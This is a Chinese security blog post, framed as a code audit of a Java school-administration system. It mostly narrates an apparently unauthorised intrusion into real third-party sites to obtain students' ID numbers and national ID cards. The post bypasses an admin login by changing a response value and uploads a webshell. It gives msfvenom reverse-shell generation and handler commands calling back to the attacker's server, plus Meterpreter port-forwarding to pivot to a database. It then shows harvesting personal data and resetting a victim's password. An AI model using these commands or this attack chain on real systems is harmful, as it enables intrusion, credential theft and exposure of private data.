前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >代码审计 | 曲折的某java教务系统代码审计

代码审计 | 曲折的某java教务系统代码审计

作者头像
F12sec
发布2022-09-29 20:33:37
1.6K0
发布2022-09-29 20:33:37
举报
文章被收录于专栏:F12sec

这是F12sec的第63篇原创

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:感谢北神,小丑师傅给的代码

本文由团队师傅Challenger投稿,转载请标明来源。

1.审计开始

1.为struts框架

查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则,当是.action时所有以.action为结尾的请求都会被struts处理拦截,/test/.action则只有test目录下的请求会被拦截。

初步审计无需登录或者可以绕过登录的洞

再看struts.xml看对应.action后端处理在那,看到设置了包扫描,所以.action后端处理都在dckj.business下

再看回web.xml看一下全局filter等filter过滤器,对应Java文件在dckj.core.base.EntssGlobalFilter,因为审的是编译后的源码以前com.web.servlet.uploadServlet

对应classes/com/web/servlet/uploadServlet.class

全局过滤,大概看了,就判断cookie的处理和白名单ip的处理,还有开放的静态路径

CAS单点登录认证:

https://blog.csdn.net/qq_41258204/article/details/84036875,这里可以直接访问服务器不被重定向回认证服务器,不太懂

登录通过判断sql登录成功注入java bean对象然后通过监听器绑定对象来确认身份

1.HttpSessionBindingListener 这个监听器,可以让javaBean对象,感知它被绑定到session中或从session中移除。 2.HttpSessionActivationListener 这个监听器,可以让javaBean感知,被钝化或活化。 钝化—>将session中的javaBean保存到文件中. 活化—>从文件中将javaBean直接获取。也就是说我们想通过改返回值”status”: “y”绕过认证不太可能了

只能看看有啥可以未授权访问的功能,看白名单,有个文件下载,看上去可以,但实践不行。

本地debug 可以穿目录下载文件 ok 实际测试Fuzz一波不行0.0,放弃

因为没有啥未授权的洞,只能搞账号,本地搭起环境麻烦审出来,也得有账号进实际的才有意思,而登录有验证码,如果训练识别验证码爆破很麻烦,而且效率低靠运气!放弃…..但找回密码,

只 需要学号+身份证,后返回随机密码,无需电话验证还是有希望

打使用该系统的目标来获取学号和身份证

谷歌+社工库没找到

直接打使用该系统的目标,通过漏洞获取账号+身份证 或者直接密码

这里有3个有效目标

挑第一个目标,企业查查确定资产,子域名……快速一波没有洞,打微信小程序也没洞,反编译小程序麻烦最后再试

goby扫端口重定向的域名的站,发现可管理员后台登录

为ThinkPhp的站,TP的站常规工具打一波payload,无效,爆破无效,登录发包改返回包0改1

直接跳转到这,直接可以文件上传.

真是好家伙!!任意文件上传,直接送shell来了。

目的拿学号+身份证 或者直接密码,翻数据库配置文件

扫端口未开放3306,只能

端口转发出来

为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)

生成马

代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667

msfconsole上监听

代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 667
run

把生成的马上传上webshell,然后运行

代码语言:javascript
复制
chmod +x /tmp/msf_667
/tmp/msf_667

在反弹回来的meterpreter上进行端口转发

代码语言:javascript
复制
portfwd add -l 670 -p 3306 -r 127.0.0.1

但站库分离,mysql不在这台机,淦卡住了,想其它代理,但可以直接将转发地址改为mysql服务器地址,

127.0.0.1改mysql地址 portfwd add -l 671 -p 3306 -r 201.x.x.1

成功转发,msf转发感谢TARI师兄的教导

成功连接,只有学号和电话,密码加盐了

在另外的数据库翻到超级管理员的密码这里不加盐但,登进去没啥可以获取学生身份证的功能,废了

在用户登录为另外的网站,输入账号为手机号,密码随手123456 登录成功返回身份证 NB 学号和身份证有了

有了 学号和身份证,回到要代码审计的系统去重置密码,重置他会返回随机密码:

成功登录。终于可以好好审计了

再次黑白盒结合审计:(有待更新)

才测一下子文件上传就崩了或者关网站了…,没法访问了淦 ,有白名单无法绕过,因为他会重命名00截断对文件名无效,但patn参数直接拼接可控,该系统用jdk7,可以尝试00截断,但实际path后有/不知可否截断

受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.审计开始
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档